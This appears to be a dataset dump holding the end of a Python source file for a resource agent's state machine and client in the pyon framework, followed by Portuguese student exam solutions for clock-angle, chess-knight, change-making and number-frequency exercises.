'RESOURCE_AGENT_EVENT_GO_COMMAND'\n    GO_DIRECT_ACCESS = 'RESOURCE_AGENT_EVENT_GO_DIRECT_ACCESS'\n    GET_RESOURCE = 'RESOURCE_AGENT_EVENT_GET_RESOURCE'\n    SET_RESOURCE = 'RESOURCE_AGENT_EVENT_SET_RESOURCE'\n    EXECUTE_RESOURCE = 'RESOURCE_AGENT_EVENT_EXECUTE_RESOURCE'\n    GET_RESOURCE_STATE = 'RESOURCE_AGENT_EVENT_GET_RESOURCE_STATE'\n    GET_RESOURCE_CAPABILITIES = 'RESOURCE_AGENT_EVENT_GET_RESOURCE_CAPABILITIES'\n    DONE = 'RESOURCE_AGENT_EVENT_DONE'\n    PING_RESOURCE = 'RESOURCE_AGENT_PING_RESOURCE'\n\nclass ResourceAgentStreamStatus(BaseEnum):\n    \"\"\"\n    Status values for stream monitors and alerts.\n    \"\"\"\n    ALL_CLEAR = 'RESOURCE_AGENT_STREAM_STATUS_ALL_CLEAR'\n    WARNING = 'RESOURCE_AGENT_STREAM_STATUS_WARNING'\n    ALARM = 'RESOURCE_AGENT_STREAM_STATUS_ALARM'\n\nclass ResourceAgent(BaseResourceAgent):\n    \"\"\"\n    A resource agent is an ION process of type \"agent\" that exposes the standard\n    resource agent service interface. This base class captures the mechanisms\n    common to all resource agents and is subclassed with implementations\n    specific for instrument agents, user agents, etc.\n    \"\"\"\n\n    ##############################################################\n    # Class variables.\n    ##############################################################\n\n    # ION process type.\n    process_type = \"agent\"\n\n    # Override in subclass to publish specific types of events.\n    COMMAND_EVENT_TYPE = \"ResourceCommandEvent\"\n\n    # Override in subclass to set specific origin type.\n    ORIGIN_TYPE = \"Resource\"\n\n    # Override in subclass to expose agent capabilities.\n    CAPABILITIES = []\n\n    ##############################################################\n    # Constructor and ION init/deinit.\n    ##############################################################\n\n    def __init__(self, *args, **kwargs):\n        \"\"\"\n        Initialize superclass and id variables.\n        \"\"\"\n\n        # Base class constructor.\n        super(ResourceAgent, self).__init__(*args, **kwargs)\n\n        # The ID of the AgentInstance subtype resource object.\n        self.agent_id = None\n\n        # The ID of the AgentDefinition subtype resource object.\n        self.agent_def_id = None\n\n        # The ID of the target resource object, e.g. a device id.\n        self.resource_id = None\n        # The Resource Type of the target resource object - ex. InstrumentDevice or PlatformDevice\n        #Must be set by Implementing Class\n        self.resource_type = None\n\n        # UUID of the current mutex.\n        self._mutex_id = None\n\n        # Event publisher.\n        self._event_publisher = None\n\n        # An example agent parameter.\n        self.aparam_example = None\n\n        # Set intial state.\n        if 'initial_state' in kwargs:\n            if ResourceAgentState.has(kwargs['initial_state']):\n                self._initial_state = kwargs['initial_state']\n\n        else:\n            self._initial_state = ResourceAgentState.UNINITIALIZED\n\n        # Construct the default state machine.\n        self._construct_fsm()\n\n    def _on_init(self):\n        \"\"\"\n        ION on_init initializer called once the process exists.\n        \"\"\"\n        log.debug(\"Resource Agent initializing. name=%s, resource_id=%s\"\n                  % (self._proc_name, self.resource_id))\n\n        # Create event publisher.\n        self._event_publisher = EventPublisher()\n\n        # Start state machine.\n        self._fsm.start(self._initial_state)\n\n    def _on_quit(self):\n        \"\"\"\n        ION on_quit called prior to terminating the process.\n        \"\"\"\n        pass\n\n    ##############################################################\n    # Governance interfaces and helpers\n    ##############################################################\n\n    def _get_process_org_name(self):\n        '''\n        Look for the org_name associated with this process, default to System root\n        '''\n        if hasattr(self,'org_name'):\n            org_name = self.org_name\n            log.debug(\"Getting org_name from process: \" + org_name)\n        else:\n            org_name = self.container.governance_controller.system_root_org_name\n            log.debug(\"Getting org_name from container: \" + org_name)\n\n        return org_name\n\n\n    def negotiate(self, resource_id=\"\", sap_in=None):\n        \"\"\"\n        TBD.\n        \"\"\"\n        pass\n\n    ##############################################################\n    # Capabilities interface.\n    ##############################################################\n\n    def get_capabilities(self, resource_id=\"\", current_state=True):\n        \"\"\"\n        \"\"\"\n\n        agent_cmds = self._fsm.get_events(current_state)\n        agent_cmds = self._filter_capabilities(agent_cmds)\n        agent_params = self.get_agent_parameters()\n\n        try:\n            [res_cmds, res_params] = self._fsm.on_event(ResourceAgentEvent.GET_RESOURCE_CAPABILITIES, current_state)\n\n        except FSMStateError:\n            res_cmds = []\n            res_params = []\n\n        res_iface_cmds = self._get_resource_interface(current_state)\n        #res_cmds.extend(res_iface_cmds)\n        \n        caps = []\n        for item in agent_cmds:\n            cap = IonObject('AgentCapability', name=item,\n                            cap_type=CapabilityType.AGT_CMD)\n            caps.append(cap)\n        for item in agent_params:\n            cap = IonObject('AgentCapability', name=item,\n                            cap_type=CapabilityType.AGT_PAR)\n            caps.append(cap)\n        for item in res_cmds:\n            cap = IonObject('AgentCapability', name=item,\n                            cap_type=CapabilityType.RES_CMD)\n            caps.append(cap)\n        for item in res_iface_cmds:\n            cap = IonObject('AgentCapability', name=item,\n                            cap_type=CapabilityType.RES_IFACE)\n            caps.append(cap)\n        for item in res_params:\n            cap = IonObject('AgentCapability', name=item,\n                            cap_type=CapabilityType.RES_PAR)\n            caps.append(cap)\n\n        return caps\n\n    def get_agent_parameters(self):\n        \"\"\"\n        \"\"\"            \n        params = [x[7:] for x in vars(self).keys() if x.startswith('aparam_') \\\n                  and not x.startswith('aparam_set_')]\n        return params\n    \n    def _filter_capabilities(self, events):\n        \"\"\"\n        \"\"\"\n        return events\n\n    def _get_resource_interface(self, current_state=True):\n        \"\"\"\n        \"\"\"\n        return []\n\n    ##############################################################\n    # Agent interface.\n    ##############################################################\n    def get_agent(self, resource_id='', params=[]):\n        \"\"\"\n        \"\"\"\n        result = {}\n        for x in params:\n            try:\n                key = 'aparam_' + x\n                val = getattr(self, key)\n                result[x] = val\n\n            except (TypeError, AttributeError):\n                raise BadRequest('Bad agent parameter: %s.', str(x))\n\n        return result\n\n    def set_agent(self, resource_id='', params={}):\n        \"\"\"\n        \"\"\"\n        retval = {}\n        for (x, val) in params.iteritems():\n            try:\n                \n                key = 'aparam_' + x\n                getattr(self, key)\n\n            except (TypeError, AttributeError):\n                raise BadRequest('Bad agent parameter: %s', str(x))\n\n        for (x, val) in params.iteritems():\n                \n            key = 'aparam_' + x\n            set_key = 'aparam_set_' + x\n            try:\n                set_func = getattr(self, set_key)\n            except AttributeError:\n                set_func = None\n            \n            if set_func and callable(set_func):\n                retval[x] = set_func(val)\n\n            elif set_func:\n                retval[x] = -1\n                    \n            else:\n                setattr(self, key, val)\n                retval[x] = 0\n                    \n    def get_agent_state(self, resource_id=''):\n        \"\"\"\n        Return resource agent current common fsm state.\n        \"\"\"\n        return self._fsm.get_current_state()\n\n    def execute_agent(self, resource_id=\"\", command=None):\n        \"\"\"\n        \"\"\"\n        if not command:\n            iex = BadRequest('Execute argument \"command\" not set.')\n            self._on_command_error('execute_agent', None, None, None, iex)\n            raise iex\n\n        # Grab command syntax.\n        id = command.command_id\n        cmd = command.command\n        args = command.args or []\n        kwargs = command.kwargs or {}\n\n        if not command.command:\n            iex = BadRequest('Command name not set.')\n            self._on_command_error('execute_agent', cmd, args, kwargs, iex)\n            raise iex\n\n        # Construct a command result object.\n        cmd_result = IonObject(\"AgentCommandResult\",\n                               command_id=id,\n                               command=cmd,\n                               ts_execute=get_ion_ts(),\n                               status=0)\n\n        try:\n            result = self._fsm.on_event(cmd, *args, **kwargs)\n            cmd_result.result = result\n            self._on_command('execute_agent', cmd, args, kwargs, result)\n\n        except FSMStateError as ex:\n            iex = Conflict(*(ex.args))\n            self._on_command_error('execute_agent', cmd, args, kwargs, iex)\n            raise iex\n\n        except FSMCommandUnknownError as ex:\n            iex = BadRequest(*(ex.args))\n            self._on_command_error('execute_agent', cmd, args, kwargs, iex)\n            raise iex\n\n        except IonException as iex:\n            self._on_command_error('execute_agent', cmd, args, kwargs, iex)\n            raise\n\n        except Exception as ex:\n            iex = ServerError(*(ex.args))\n            self._on_command_error('execute_agent', cmd, args, kwargs, iex)\n            raise iex\n\n        return cmd_result\n\n    def ping_agent(self, resource_id=\"\"):\n        \"\"\"\n        \"\"\"\n        result = 'ping from %s, time: %s' % (str(self), get_ion_ts())\n        return result\n\n    def aparam_set_example(self, val):\n        \"\"\"\n        \"\"\"\n        if isinstance(val, str):\n            self.aparam_example = val\n\n        else:\n            raise BadRequest('Invalid type to set agent parameter \"example\".')\n\n    ##############################################################\n    # Resource interface.\n    ##############################################################\n    def get_resource(self, resource_id='', params=[]):\n        \"\"\"\n        \"\"\"\n\n        try:\n            result = self._fsm.on_event(ResourceAgentEvent.GET_RESOURCE, params)\n            return result\n\n        except FSMStateError as ex:\n            iex = Conflict(*(ex.args))\n            self._on_command_error('get_resource', None, [params], None, iex)\n            raise iex\n\n        except FSMCommandUnknownError as ex:\n            iex = BadRequest(*(ex.args))\n            self._on_command_error('get_resource', None, [params], None, iex)\n            raise iex\n\n        except IonException as iex:\n            self._on_command_error('get_resource', None, [params], None, iex)\n            raise\n\n        except Exception as ex:\n            iex = ServerError(*(ex.args))\n            self._on_command_error('get_resource', None, [params], None, iex)\n            raise iex\n\n    def set_resource(self, resource_id='', params={}):\n        \"\"\"\n        \"\"\"\n\n        try:\n            result = self._fsm.on_event(ResourceAgentEvent.SET_RESOURCE, params)\n            self._on_command('set_resource', None, [params], None, result)\n            return result\n\n        except FSMStateError as ex:\n            iex = Conflict(*(ex.args))\n            self._on_command_error('set_resource', None, [params], None, iex)\n            raise iex\n\n        except FSMCommandUnknownError as ex:\n            iex = BadRequest(*(ex.args))\n            self._on_command_error('set_resource', None, [params], None, iex)\n            raise iex\n\n        except IonException as iex:\n            self._on_command_error('set_resource', None, [params], None, iex)\n            raise iex\n\n        except Exception as ex:\n            iex = ServerError(*(ex.args))\n            self._on_command_error('set_resource', None, [params], None, iex)\n            raise iex\n\n    def get_resource_state(self, resource_id=''):\n        \"\"\"\n        \"\"\"\n        try:\n            return self._fsm.on_event(ResourceAgentEvent.GET_RESOURCE_STATE)\n\n        except FSMStateError as ex:\n            iex = Conflict(*(ex.args))\n            self._on_command_error('get_resource_state', None, None, None, iex)\n            raise iex\n\n        except FSMCommandUnknownError as ex:\n            iex = BadRequest(*(ex.args))\n            self._on_command_error('get_resource_state', None, None, None, iex)\n            raise iex\n\n        except IonException as iex:\n            self._on_command_error('get_resource_state', None, None, None, iex)\n            raise iex\n\n        except Exception as ex:\n            iex = ServerError(*(ex.args))\n            self._on_command_error('get_resource_state', None, None, None, iex)\n            raise iex\n\n    def execute_resource(self, resource_id='', command=None):\n        \"\"\"\n        \"\"\"\n\n        if not command:\n            iex = BadRequest('Execute argument \"command\" not set.')\n            self._on_command_error('execute_resource', None, None, None, iex)\n            raise iex\n\n        # Grab command syntax.\n        id = command.command_id\n        cmd = command.command\n        args = command.args or []\n        kwargs = command.kwargs or {}\n\n        if not command.command:\n            iex = BadRequest('Command name not set.')\n            self._on_command_error('execute_resource', cmd, args, kwargs, iex)\n            raise iex\n\n        # Construct a command result object.\n        cmd_result = IonObject(\"AgentCommandResult\",\n                               command_id=id,\n                               command=cmd,\n                               ts_execute=get_ion_ts(),\n                               status=0)\n\n        try:\n            result = self._fsm.on_event(\n                ResourceAgentEvent.EXECUTE_RESOURCE, cmd, *args, **kwargs)\n            cmd_result.result = result\n            self._on_command('execute_resource', cmd, args, kwargs, result)\n\n        except FSMStateError as ex:\n            iex = Conflict(*(ex.args))\n            self._on_command_error('execute_resource', cmd, args, kwargs, iex)\n            raise iex\n\n        except FSMCommandUnknownError as ex:\n            iex = BadRequest(*(ex.args))\n            self._on_command_error('execute_resource', cmd, args, kwargs, iex)\n            raise iex\n\n        except IonException as iex:\n            self._on_command_error('execute_resource', cmd, args, kwargs, iex)\n            raise iex\n\n        except Exception as ex:\n            iex = ServerError(*(ex.args))\n            self._on_command_error('execute_resource', cmd, args, kwargs, iex)\n            raise iex\n\n        return cmd_result\n\n    def ping_resource(self, resource_id=''):\n        \"\"\"\n        \"\"\"\n        try:\n            return self._fsm.on_event(ResourceAgentEvent.PING_RESOURCE)\n\n        except FSMStateError as ex:\n            iex = Conflict(*(ex.args))\n            self._on_command_error('ping_resource', None, None, None, iex)\n            raise iex\n\n        except FSMCommandUnknownError as ex:\n            iex = BadRequest(*(ex.args))\n            self._on_command_error('ping_resource', None, None, None, iex)\n            raise iex\n\n        except IonException as iex:\n            self._on_command_error('ping_resource', None, None, None, iex)\n            raise iex\n\n        except Exception as ex:\n            iex = ServerError(*(ex.args))\n            self._on_command_error('ping_resource', None, None, None, iex)\n            raise iex\n\n    ##############################################################\n    # UNINITIALIZED event handlers.\n    ##############################################################\n\n    def _handler_uninitialized_enter(self, *args, **kwargs):\n        \"\"\"\n        \"\"\"\n        self._common_state_enter(*args, **kwargs)\n\n    def _handler_uninitialized_exit(self, *args, **kwargs):\n        \"\"\"\n        \"\"\"\n        self._common_state_exit(*args, **kwargs)\n\n    ##############################################################\n    # POWERED_DOWN event handlers.\n    ##############################################################\n\n    def _handler_powered_down_enter(self, *args, **kwargs):\n        \"\"\"\n        \"\"\"\n        self._common_state_enter(*args, **kwargs)\n\n    def _handler_powered_down_exit(self, *args, **kwargs):\n        \"\"\"\n        \"\"\"\n        self._common_state_exit(*args, **kwargs)\n\n    ##############################################################\n    # INACTIVE event handlers.\n    ##############################################################\n\n    def _handler_inactive_enter(self, *args, **kwargs):\n        \"\"\"\n        \"\"\"\n        self._common_state_enter(*args, **kwargs)\n\n    def _handler_inactive_exit(self, *args, **kwargs):\n        \"\"\"\n        \"\"\"\n        self._common_state_exit(*args, **kwargs)\n\n    ##############################################################\n    # IDLE event handlers.\n    ##############################################################\n\n    def _handler_idle_enter(self, *args, **kwargs):\n        \"\"\"\n        \"\"\"\n        self._common_state_enter(*args, **kwargs)\n\n    def _handler_idle_exit(self, *args, **kwargs):\n        \"\"\"\n        \"\"\"\n        self._common_state_exit(*args, **kwargs)\n\n    ##############################################################\n    # STOPPED event handlers.\n    ##############################################################\n\n    def _handler_stopped_enter(self, *args, **kwargs):\n        \"\"\"\n        \"\"\"\n        self._common_state_enter(*args, **kwargs)\n\n    def _handler_stopped_exit(self, *args, **kwargs):\n        \"\"\"\n        \"\"\"\n        self._common_state_exit(*args, **kwargs)\n\n    ##############################################################\n    # COMMAND event handlers.\n    ##############################################################\n\n    def _handler_command_enter(self, *args, **kwargs):\n        \"\"\"\n        \"\"\"\n        self._common_state_enter(*args, **kwargs)\n\n    def _handler_command_exit(self, *args, **kwargs):\n        \"\"\"\n        \"\"\"\n        self._common_state_exit(*args, **kwargs)\n\n    ##############################################################\n    # STREAMING event handlers.\n    ##############################################################\n\n    def _handler_streaming_enter(self, *args, **kwargs):\n        \"\"\"\n        \"\"\"\n        self._common_state_enter(*args, **kwargs)\n\n    def _handler_streaming_exit(self, *args, **kwargs):\n        \"\"\"\n        \"\"\"\n        self._common_state_exit(*args, **kwargs)\n\n    ##############################################################\n    # TEST event handlers.\n    ##############################################################\n\n    def _handler_test_enter(self, *args, **kwargs):\n        \"\"\"\n        \"\"\"\n        self._common_state_enter(*args, **kwargs)\n\n    def _handler_test_exit(self, *args, **kwargs):\n        \"\"\"\n        \"\"\"\n        self._common_state_exit(*args, **kwargs)\n\n    ##############################################################\n    # CALIBRATE event handlers.\n    ##############################################################\n\n    def _handler_calibrate_enter(self, *args, **kwargs):\n        \"\"\"\n        \"\"\"\n        self._common_state_enter(*args, **kwargs)\n\n    def _handler_calibrate_exit(self, *args, **kwargs):\n        \"\"\"\n        \"\"\"\n        self._common_state_exit(*args, **kwargs)\n\n    ##############################################################\n    # DIRECT_ACCESS event handlers.\n    ##############################################################\n\n    def _handler_direct_access_enter(self, *args, **kwargs):\n        \"\"\"\n        \"\"\"\n        self._common_state_enter(*args, **kwargs)\n\n    def _handler_direct_access_exit(self, *args, **kwargs):\n        \"\"\"\n        \"\"\"\n        self._common_state_exit(*args, **kwargs)\n\n    ##############################################################\n    # BUSY event handlers.\n    ##############################################################\n\n    def _handler_busy_enter(self, *args, **kwargs):\n        \"\"\"\n        \"\"\"\n        self._common_state_enter(*args, **kwargs)\n\n    def _handler_busy_exit(self, *args, **kwargs):\n        \"\"\"\n        \"\"\"\n        self._common_state_exit(*args, **kwargs)\n\n    ##############################################################\n    # Helpers.\n    ##############################################################\n    def _common_state_enter(self, *args, **kwargs):\n        \"\"\"\n        Common work upon every state entry.\n        \"\"\"\n        state = self._fsm.get_current_state()\n\n        event_data = {\n            'state': state\n        }\n        result = self._event_publisher.publish_event(event_type='ResourceAgentStateEvent',\n                              origin=self.resource_id, **event_data)\n        log.info('Resource agent %s publsihed state change: %s, time: %s result: %s',\n                 self.id, state, get_ion_ts(), str(result))\n\n    def _common_state_exit(self, *args, **kwargs):\n        \"\"\"\n        Common work upon every state exit.\n        \"\"\"\n        pass\n\n    def _on_command(self, cmd, execute_cmd, args, kwargs, result):\n        log.info('Resource agent %s publishing command event: \\\n                 cmd=%s, execute_cmd=%s, args=%s kwargs=%s time=%s',\n                 self.id, str(cmd), str(execute_cmd), str(args), str(kwargs),\n                 get_ion_ts())\n        event_data = {\n            'command': cmd,\n            'execute_command': execute_cmd,\n            'args': args,\n            'kwargs': kwargs,\n            'result': result\n        }\n        self._event_publisher.publish_event(event_type='ResourceAgentCommandEvent',\n                                            origin=self.resource_id,\n                                            **event_data)\n\n    def _on_command_error(self, cmd, execute_cmd, args, kwargs, ex):\n        log.info('Resource agent %s publishing command error event: \\\n                 cmd=%s, execute_cmd=%s, args=%s, kwargs=%s, \\\n                 errtype=%s, errmsg=%s, errno=%i, time=%s',\n                 self.id, str(cmd), str(execute_cmd), str(args), str(kwargs),\n                 str(type(ex)), ex.message, ex.status_code, get_ion_ts())\n\n        if hasattr(ex, 'status_code'):\n            status_code = ex.status_code\n        else:\n            status_code = -1\n\n        event_data = {\n            'command': cmd,\n            'execute_command': execute_cmd,\n            'args': args,\n            'kwargs': kwargs,\n            'error_type': str(type(ex)),\n            'error_msg': ex.message,\n            'error_code': status_code\n        }\n\n        self._event_publisher.publish_event(event_type='ResourceAgentErrorEvent',\n                                            origin=self.resource_id,\n                                            **event_data)\n\n    def _construct_fsm(self):\n        \"\"\"\n        Construct the state machine and register default handlers.\n        Override in subclass to add handlers for resouce-dependent behaviors\n        and state transitions.\n        \"\"\"\n\n        # Instrument agent state machine.\n        self._fsm = InstrumentFSM(ResourceAgentState, ResourceAgentEvent,\n                            ResourceAgentEvent.ENTER, ResourceAgentEvent.EXIT)\n\n        self._fsm.add_handler(ResourceAgentState.UNINITIALIZED, ResourceAgentEvent.ENTER, self._handler_uninitialized_enter)\n        self._fsm.add_handler(ResourceAgentState.UNINITIALIZED, ResourceAgentEvent.EXIT, self._handler_uninitialized_exit)\n\n        self._fsm.add_handler(ResourceAgentState.POWERED_DOWN, ResourceAgentEvent.ENTER, self._handler_powered_down_enter)\n        self._fsm.add_handler(ResourceAgentState.POWERED_DOWN, ResourceAgentEvent.EXIT, self._handler_powered_down_exit)\n\n        self._fsm.add_handler(ResourceAgentState.INACTIVE, ResourceAgentEvent.ENTER, self._handler_inactive_enter)\n        self._fsm.add_handler(ResourceAgentState.INACTIVE, ResourceAgentEvent.EXIT, self._handler_inactive_exit)\n\n        self._fsm.add_handler(ResourceAgentState.IDLE, ResourceAgentEvent.ENTER, self._handler_idle_enter)\n        self._fsm.add_handler(ResourceAgentState.IDLE, ResourceAgentEvent.EXIT, self._handler_idle_exit)\n\n        self._fsm.add_handler(ResourceAgentState.STOPPED, ResourceAgentEvent.ENTER, self._handler_stopped_enter)\n        self._fsm.add_handler(ResourceAgentState.STOPPED, ResourceAgentEvent.EXIT, self._handler_stopped_exit)\n\n        self._fsm.add_handler(ResourceAgentState.COMMAND, ResourceAgentEvent.ENTER, self._handler_command_enter)\n        self._fsm.add_handler(ResourceAgentState.COMMAND, ResourceAgentEvent.EXIT, self._handler_command_exit)\n\n        self._fsm.add_handler(ResourceAgentState.STREAMING, ResourceAgentEvent.ENTER, self._handler_streaming_enter)\n        self._fsm.add_handler(ResourceAgentState.STREAMING, ResourceAgentEvent.EXIT, self._handler_streaming_exit)\n\n        self._fsm.add_handler(ResourceAgentState.TEST, ResourceAgentEvent.ENTER, self._handler_test_enter)\n        self._fsm.add_handler(ResourceAgentState.TEST, ResourceAgentEvent.EXIT, self._handler_test_exit)\n\n        self._fsm.add_handler(ResourceAgentState.CALIBRATE, ResourceAgentEvent.ENTER, self._handler_calibrate_enter)\n        self._fsm.add_handler(ResourceAgentState.CALIBRATE, ResourceAgentEvent.EXIT, self._handler_calibrate_exit)\n\n        self._fsm.add_handler(ResourceAgentState.DIRECT_ACCESS, ResourceAgentEvent.ENTER, self._handler_direct_access_enter)\n        self._fsm.add_handler(ResourceAgentState.DIRECT_ACCESS, ResourceAgentEvent.EXIT, self._handler_direct_access_exit)\n\n        self._fsm.add_handler(ResourceAgentState.BUSY, ResourceAgentEvent.ENTER, self._handler_busy_enter)\n        self._fsm.add_handler(ResourceAgentState.BUSY, ResourceAgentEvent.EXIT, self._handler_busy_exit)\n\n\nclass ResourceAgentClient(ResourceAgentProcessClient):\n    \"\"\"\n    Generic client for resource agents.\n    \"\"\"\n    def __init__(self, resource_id, *args, **kwargs):\n        \"\"\"\n        Client constructor.\n        @param resource_id The ID this service represents.\n        @param name Use this kwarg to set the target exchange name\n        (service or process).\n        \"\"\"\n\n        # Assert and set the resource ID.\n        assert resource_id, \"resource_id must be set for an agent\"\n        self.resource_id = resource_id\n\n        # Set the name, retrieve as proc ID if not set by user.\n        if not 'name' in kwargs:\n            process_id = self._get_agent_process_id(self.resource_id)\n            if process_id:\n                kwargs = kwargs.copy()\n                kwargs['name'] = process_id\n                log.debug(\"Use agent process %s for resource_id=%s\" % (process_id, self.resource_id))\n            else:\n                # TODO: Check if there is a service for this type of resource\n                log.debug(\"No agent process found for resource_id %s\" % self.resource_id)\n                raise NotFound(\"No agent process found for resource_id %s\" % self.resource_id)\n\n        assert \"name\" in kwargs, \"Name argument for agent target not set\"\n\n        # transpose name -> to_name to make underlying layer happy\n        kwargs[\"to_name\"] = kwargs.pop(\"name\")\n\n        # Superclass constructor.\n        ResourceAgentProcessClient.__init__(self, *args, **kwargs)\n\n    ##############################################################\n    # Client interface.\n    ##############################################################\n\n    def negotiate(self, *args, **kwargs):\n        return super(ResourceAgentClient, self).negotiate(self.resource_id, *args, **kwargs)\n\n    def get_capabilities(self, *args, **kwargs):\n        return super(ResourceAgentClient, self).get_capabilities(self.resource_id, *args, **kwargs)\n\n    def execute_agent(self, *args, **kwargs):\n        return super(ResourceAgentClient, self).execute_agent(self.resource_id, *args, **kwargs)\n\n    def get_agent(self, *args, **kwargs):\n        return super(ResourceAgentClient, self).get_agent(self.resource_id, *args, **kwargs)\n\n    def set_agent(self, *args, **kwargs):\n        return super(ResourceAgentClient, self).set_agent(self.resource_id, *args, **kwargs)\n\n    def get_agent_state(self, *args, **kwargs):\n        return super(ResourceAgentClient, self).get_agent_state(self.resource_id, *args, **kwargs)\n\n    def ping_agent(self, *args, **kwargs):\n        return super(ResourceAgentClient, self).ping_agent(self.resource_id, *args, **kwargs)\n\n    def execute_resource(self, *args, **kwargs):\n        return super(ResourceAgentClient, self).execute_resource(self.resource_id, *args, **kwargs)\n\n    def get_resource(self, *args, **kwargs):\n        return super(ResourceAgentClient, self).get_resource(self.resource_id, *args, **kwargs)\n\n    def set_resource(self, *args, **kwargs):\n        return super(ResourceAgentClient, self).set_resource(self.resource_id, *args, **kwargs)\n\n    def get_resource_state(self, *args, **kwargs):\n        return super(ResourceAgentClient, self).get_resource_state(self.resource_id, *args, **kwargs)\n\n    def ping_resource(self, *args, **kwargs):\n        return super(ResourceAgentClient, self).ping_resource(self.resource_id, *args, **kwargs)\n\n    def emit(self, *args, **kwargs):\n        return super(ResourceAgentClient, self).emit(self.resource_id, *args, **kwargs)\n\n    ##############################################################\n    # Helpers.\n    ###########################################################\n    @classmethod\n    def _get_agent_process_id(cls, resource_id):\n        \"\"\"\n        Retrun the agent container proc id given the resource_id.\n        \"\"\"\n        agent_procs = bootstrap.container_instance.directory.find_by_value('/Agents', 'resource_id', resource_id)\n        if agent_procs:\n            if len(agent_procs) > 1:\n                log.warn(\"Inconsistency: More than one agent registered for resource_id=%s: %s\" % (\n                    resource_id, agent_procs))\n            agent_id = agent_procs[0].key\n            return str(agent_id)\n        return None\n","repo_name":"seman/pyon","sub_path":"pyon/agent/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":32695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"}
+{"seq_id":"169306394","text":"# P2 \n\n# Questão 1 - Calculadora de ângulo entre ponteiros do relógio \n\n# ler inputs no horário hh:mm, 24h, zero à esquerda\ndef q1():\n    def num_int(num):\n        # tenta converter para inteiro; é o que vamos \"tentar\" fazer acontecer\n        try:\n            int(num)\n            return True\n        # pega a exceção; se não rolar, ele vai printar esse erro no terminal\n        except ValueError:\n            return False\n\n    while True:\n        entrada = input(\"Insira um horário: \")\n\n        if entrada == 'f':\n            print(\"Fim...\")\n            break\n\n        if len(entrada) != 5:\n            print(\"Input inválido\")\n            continue\n\n        tempos = entrada.split(\":\")\n\n        if len(tempos) != 2 or len(tempos[0]) != 2 or len(tempos[1]) != 2:\n            print(\"Input inválido\")\n            continue\n\n        horas = tempos[0]\n        minutos = tempos[1]\n\n        if num_int(horas) and num_int(minutos) and 0 <= int(horas) <= 23 and 0 <= int(minutos) <= 59:\n            horas = int(horas)\n            minutos = int(minutos)\n\n            # (valor % total de opções) * (graus totais / total de opções)\n            angulo_horas = (horas % 12) * 30\n            angulo_minutos = minutos * 6\n\n            # 00:00 -> 0°\n            # 00:01 ~ 00:29 -> 1° ~ 179°\n            # 00:30 -> 180°\n            # 00:31 ~ 00:59 -> 1° 179°\n\n            graus = abs(angulo_horas - angulo_minutos)\n\n            if graus == 180:\n                print(\"O menor ângulo é de 180°\")\n\n            else:\n                print(f\"O menor ângulo é de {graus % 180}°\")\n\n        else:\n            print(\"Input inválido\")\n            continue\n\nq1()\n\n# Questão 2 - Movimentação do cavalo no xadrez\n\ndef q2():\n\n    while True:\n        entrada = input(\"jogada: \")\n\n        # se a entrada for 'f', o while acaba\n        if entrada == 'f':\n            print(\"Fim...\")\n            break\n        \n        # nossa entrada deve ter o tamanho 5 pois o que queremos será algo do tipo: d4 h2. Portanto, ja eliminamos os inputs que fogem desse padrão\n        if len(entrada) != 5:\n            print(\"ERRO: INPUT INVÁLIDO\")\n            continue\n        \n        # aqui, nos separamos o input por espaços\n        posicoes = entrada.split()\n\n        # se o input nao tiver tamanho 2, ou seja, esta separado por 1 espaço entre os caracateres apenas, ou se ele tiver tamanho 2, mas sua primeira parte tiver tamanho diferente de 2 caracteres ou sua segunda parte tiver tamanho diferente de 2 caracteres, ele tbm descarta esses inputs\n        if len(posicoes) != 2 or len(posicoes[0]) != 2 or len(posicoes[1]) != 2:\n            print(\"ERRO: INPUT INVÁLIDO\")\n            continue\n\n        # aqui nós usamos a tabela ASCII e usamos ela para poder filtrar os valores que queremos receber, pois queremos um formato [letra][numero] [letra][número]\n        if  97 <= ord(posicoes[0][0].lower()) <= 104 and 49 <= ord(posicoes[0][1]) <= 56 and 97 <= ord(posicoes[1][0].lower()) <= 104 and 49 <= ord(posicoes[1][1]) <= 56:\n            \n            if abs(ord(posicoes[0][0].lower())) - ord(posicoes[1][0].lower()) == 1 and abs(ord(posicoes[0][1]) - ord(posicoes[1][1])) == 2 or abs(ord(posicoes[0][0].lower()) - ord(posicoes[1][0].lower())) == 2 and abs(ord(posicoes[0][1]) - ord(posicoes[1][1])) == 1:\n                print(\"VÁLIDO\")\n            \n            else:\n                print(\"INVÁLIDO\")\n\n        else:\n            print(\"ERRO: INPUT INVÁLIDO\")\n\nq2()\n\n# Questão 3 - Calculadora de troco\n\n\ndef q3():\n\n    value = float(input(\"Valor: \"))\n    notas = [100, 50, 20, 10, 5, 2]\n    moedas = [1, 0.5, 0.25, 0.1, 0.05, 0.01]\n    qnt_notas = []\n    qnt_moedas = []\n    print('\\nNOTAS:\\n')\n\n    for nota in notas:\n        qnt_notas.append(int(value / nota))\n        total_notas = int(value / nota)\n        value = value % nota\n        print('{} nota(s) de R$ {}.00'.format(total_notas, nota))\n\n    print('\\nMOEDAS:\\n')\n    for moeda in moedas:\n        # %.2f => o 2f reduz o número a duas casas decimais e o % antes dele arredonda o valor\n        value = float('%.2f' % value)\n        qnt_moedas.append(int(value / moeda))\n        total_moedas = int(value / moeda)\n        value = value % moeda\n        moeda_formatada = \"{:.2f}\".format(moeda)\n        print('{} moeda(s) de R$ {}'.format(total_moedas, moeda_formatada))\n    \nq3()\n\n\n# Questão 4 - Frequência de números\n\n# checa se o valor é um inteiro\ndef num_int(num):\n\n\ttry:\n\t\tint(num)\n\t\treturn True\n\n\texcept ValueError:\n\t\treturn False\n\ndef q4():\n \n     # recebe valor inicial de número\n    num = input('valor: ')\n\n    # dicionário para armazenar os inputs\n    data = {}\n\n    # loop principal, para quando o input for 'f'\n    while num != \"f\":\n\n        # checa se valor é um dígito\n        if num_int(num):\n\n            # ele vai salvar a frequencia do valor que colocarmos no input dentro do dicionário basicamente.\n            # O data.get() pega o valor e o 0 serve para os valores que nao existiam antes não darem erro no primeiro contato\n            # o + 1 é meio q um contador de frequência\n            data[num] = data.get(num, 0) + 1\n        \n        # atualiza o valor do input\n        num = input('valor: ')\n\n    # ordena o dicionário pelas chaves \n    sorted_dict = sorted(data.items(), key=lambda x: x[0])\n\n    # printa os resultados\n    for k, v in sorted_dict:\n\n        # checa se o valor é maior que 1 e printa com o português correto\n        if v > 1:\n            print(f'O número {k} apareceu {v} vezes')\n        else:\n            print(f'O número {k} apareceu {v} vez')\n\n    # printa a mensagem final\n    